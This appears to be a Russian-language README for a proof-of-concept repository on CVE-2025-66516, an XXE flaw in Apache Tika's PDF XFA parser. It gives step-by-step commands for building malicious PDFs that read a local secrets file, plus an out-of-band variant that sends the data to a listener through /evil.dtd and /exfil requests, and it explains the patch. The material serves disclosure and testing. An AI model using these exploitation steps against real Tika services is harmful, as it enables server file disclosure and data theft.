
POC-эксплойт для уязвимости CVE-2025-66516 в Apache Tika только в образовательных целях
Только для образовательных целей и авторизованного тестирования | Лицензия | Политика безопасности
Этот репозиторий содержит эксплойт типа «proof-of-concept» (POC) для CVE-2025-66516 — уязвимости внедрения внешних XML-сущностей (XXE) в Apache Tika версий до 3.2.2. Уязвимость затрагивает парсер XFA (XML Forms Architecture) в компоненте tika-parser-pdf-module, позволяя злоумышленникам читать локальные файлы и похищать конфиденциальные данные через специально созданные PDF-документы.
CVE-2025-66516 — это критическая уязвимость безопасности в функции разбора PDF в Apache Tika. При обработке PDF-файлов со встроенными XFA-формами версии Tika до 3.2.2 не ограничивают должным образом обработку внешних сущностей в XML-парсерах. Это позволяет злоумышленникам:
Этот репозиторий включает:
Apache Tika XXE, CVE-2025-66516 exploit, Tika security vulnerability, XML External Entity attack, PDF XXE injection, Tika 3.2.1 vulnerability, out-of-band XXE, OOB XXE, security research, penetration testing, POC exploit, vulnerability disclosure, XFA parser vulnerability, tika-parser-pdf-module, file disclosure vulnerability, data exfiltration, SSRF attack, secure coding, vulnerability analysis, security testing, ethical hacking, infosec, cybersecurity research, Apache Tika exploit code, XXE payload, PDF security, document parser vulnerability
Примечание: Данный POC протестирован и подтверждён на:
Сначала создайте отдельный каталог для POC, чтобы все файлы были организованы.
mkdir apache_tika_poc
cd apache_tika_poc
Прежде чем приступить к POC, убедитесь, что в вашем окружении есть необходимые зависимости. Эти команды покажут версии компилятора/среды выполнения Java и сведения об ОС, что важно для воспроизведения уязвимости.
# Check Java version
java -version
javac -version
# Check OS version
lsb_release -a
Ожидаемый результат: Вы должны увидеть информацию о версии Java (например, OpenJDK 17.x.x) и сведения о версии Ubuntu (24.04.3 LTS).
Загрузите как уязвимую (3.2.1), так и исправленную (3.2.2) версии Apache Tika. Обе версии нужны, чтобы продемонстрировать, что XXE-уязвимость существует в 3.2.1 и устранена в 3.2.2. JAR-файл tika-app — это исполняемый файл «всё в одном», включающий все парсеры Tika и зависимости.
# Download vulnerable Tika version
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.1/tika-app-3.2.1.jar
# Download patched Tika version
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.2/tika-app-3.2.2.jar
Ожидаемый результат: Будут загружены два JAR-файла — tika-app-3.2.1.jar (около 75 МБ) и tika-app-3.2.2.jar (около 75 МБ).
Проверьте точные версии, изучив манифестные файлы JAR. Это подтверждает, что у нас есть корректные уязвимая и исправленная версии перед тестированием.
# Check vulnerable version manifest
unzip -p tika-app-3.2.1.jar META-INF/MANIFEST.MF
# Check patched version manifest
unzip -p tika-app-3.2.2.jar META-INF/MANIFEST.MF
Ожидаемый результат: Файлы манифеста, показывающие Implementation-Version: 3.2.1 и 3.2.2 соответственно, а также временные метки сборки и другие метаданные.
Если посмотреть на Project Object Models (свойства POM Maven определяют зависимости проекта, конфигурацию сборки и метаданные), мы видим, что нет отдельного модуля tika-parsers, как упоминалось в бюллетенях безопасности — это может быть связано с версиями, и предполагается, что в версиях 3.2.1 и 3.2.2, используемых в POC, модуль tika-parsers был заменён отдельными модулями парсеров.
# List all component pom.properties files for both versions
unzip -l tika-app-3.2.1.jar | grep pom.properties | grep tika
unzip -l tika-app-3.2.2.jar | grep pom.properties | grep tika
Ожидаемый результат: Список всех модулей компонентов Tika, включая tika-core, tika-parser-pdf-module, tika-xmp и т. д. Вы заметите отдельные модули парсеров вместо единого модуля tika-parsers.
Извлеките и отобразите информацию о версиях основных компонентов Tika. Это помогает понять внутреннюю структуру модулей и подтвердить, что и базовая библиотека, и модуль PDF-парсера имеют ожидаемые версии.
# Check tika-core, tika-parser-pdf-module, and tika-app versions for 3.2.1
unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-app/pom.properties
# Check tika-core, tika-parser-pdf-module, and tika-app versions for 3.2.2
unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-app/pom.properties
Ожидаемый результат: Свойства POM с version=3.2.1 или version=3.2.2 для каждого компонента, разделённые ---. Все три компонента (tika-core, tika-parser-pdf-module, tika-app) должны соответствовать общей версии.
Создайте поддельный файл секретов, который станет целью нашей XXE-атаки. Этот файл имитирует конфиденциальные данные (например, ключи API или учётные данные), которые злоумышленник может попытаться похитить через XXE-уязвимость.
# Create target secret file
echo "INTERNAL_SERVER_KEY=EXPOSED" > fake-secrets.txt
Ожидаемый результат: Файл с именем fake-secrets.txt, содержащий строку INTERNAL_SERVER_KEY=EXPOSED. Его прочитает XXE-эксплойт.
Чтобы понять исправление, нам нужно декомпилировать и сравнить класс XMLReaderUtils из обеих версий. Этот класс отвечает за создание XML-парсеров, и уязвимость связана с тем, как он настраивает обработку XML-сущностей.
# Extract vulnerable JAR for analysis
mkdir tika-3.2.1-extract && cd tika-3.2.1-extract && unzip -q ../tika-app-3.2.1.jar && cd ..
# Extract patched JAR for analysis
mkdir tika-3.2.2-extract && cd tika-3.2.2-extract && unzip -q ../tika-app-3.2.2.jar && cd ..
# Decompile vulnerable class
cd tika-3.2.1-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.1.txt && cd ..
# Decompile patched class
cd tika-3.2.2-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.2.txt && cd ..
# Compare versions
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt
Ожидаемый результат: Извлечение создаёт два каталога с декомпилированными файлами классов. Команда javap формирует дизассемблированный байткод класса XMLReaderUtils. Команда diff покажет различия в настройке XML-парсера между версиями.
При внимательном сравнении мы обнаружим, что в версии 3.2.2 отключена поддержка любых определений типа документа (DTD) и внешних сущностей — это и есть суть исправления:
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt | grep -A2 -B2 "accessExternalDTD\|supportDTD\|isSupportingExternalEntities"
Ожидаемый результат: Вы увидите вывод diff, показывающий, что версия 3.2.2 добавляет вызовы для отключения обработки DTD и разрешения внешних сущностей. Ищите строки, устанавливающие accessExternalDTD в пустую строку и supportDTD в false.
Здесь демонстрируется классическая XXE-атака, при которой вредоносный PDF читает локальный файл из файловой системы сервера. Скрипт Python генерирует PDF со встроенной XFA-формой, содержащей XML с XXE-нагрузкой, которая ссылается на file:///fake-secrets.txt.
# Generate malicious PDF
python3 ./gen_poc.py
# Test with vulnerable Tika 3.2.1
java -jar tika-app-3.2.1.jar -t cve_2025_66516_poc.pdf
# Test with patched Tika 3.2.2
java -jar tika-app-3.2.2.jar -t cve_2025_66516_poc.pdf
Ожидаемый результат:
gen_poc.py создаёт cve_2025_66516_poc.pdf, содержащий XXE-нагрузкуINTERNAL_SERVER_KEY=EXPOSED — содержимое секретного файла!Здесь демонстрируется более сложная XXE-атака с внеполосным (OOB) хищением данных. Вместо отображения содержимого файла в ответе вредоносный PDF заставляет Tika отправлять данные на внешний сервер, контролируемый злоумышленником. Этот метод работает даже тогда, когда приложение не возвращает разобранное содержимое.
# Generate out-of-band XXE PDF
python3 ./gen_oob_poc.py
# Start HTTP listener (in separate terminal)
python3 ./http_listener.py
# Test OOB XXE with vulnerable Tika 3.2.1
java -jar tika-app-3.2.1.jar -t cve-2025-66516_OOB_XXE.pdf
# Test OOB XXE with patched Tika 3.2.2
java -jar tika-app-3.2.2.jar -t cve-2025-66516_OOB_XXE.pdf
Ожидаемый результат:
gen_oob_poc.py создаёт cve-2025-66516_OOB_XXE.pdf с внеполосной XXE-нагрузкойhttp_listener.py запускает сервер на порту 8888 и ожидает входящие запросы/evil.dtd (загрузка внешнего DTD)/exfil?data=INTERNAL_SERVER_KEY=EXPOSED (хищение данных)Здесь уязвимость проверяется в более реалистичном сценарии, где Tika используется как библиотека внутри Java-приложения (а не только как инструмент командной строки). Код DocumentProcessor.java имитирует типичную интеграцию Tika для разбора документов.
# Compile with vulnerable Tika
javac -cp tika-app-3.2.1.jar DocumentProcessor.java
# Run with vulnerable Tika
java -cp tika-app-3.2.1.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf
# Compile with patched Tika
javac -cp tika-app-3.2.2.jar DocumentProcessor.java
# Run with patched Tika
java -cp tika-app-3.2.2.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf
Ожидаемый результат:
Document processed successfully!
Content extracted: [text containing INTERNAL_SERVER_KEY=EXPOSED]
⚠️ SECURITY ALERT: XXE vulnerability detected! Secret data leaked in output.
Document processed successfully!
Content extracted: [text WITHOUT secret data]
✓ No XXE vulnerability detected.
Удалите временные каталоги и файлы, созданные на этапе анализа, чтобы поддерживать порядок в рабочем каталоге.
# Remove extraction directories
rm -rf tika-3.2.2-extract/
rm -rf tika-3.2.1-extract/
rm XMLReaderUtils-*.txt
Ожидаемый результат: Каталоги и декомпилированные текстовые файлы будут удалены. Вывод не отображается, если не возникнет ошибка.
Если вы обнаружили уязвимости безопасности, пожалуйста, сообщите о них ответственно:
apache-tika xxe-vulnerability cve-2025-66516 security-research proof-of-concept xml-external-entity cybersecurity vulnerability-research poc infosec penetration-testing ethical-hacking pdf-security xfa-parser data-exfiltration
Этот проект распространяется под лицензией MIT — подробности см. в файле LICENSE.
Только для образовательного использования — Этот POC предназначен исключительно для образовательных целей и авторизованного тестирования безопасности. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет разрешения, незаконно.
Приветствуется вклад в улучшение этого POC или документации! Пожалуйста, убедитесь, что ваш вклад:
Последнее обновление: декабрь 2025 г.
ssrfoob-xxefile-disclosuresecure-codingvulnerability-analysissecurity-testingexploit-developmentred-teamblue-teamappsecdocument-parsingjava-security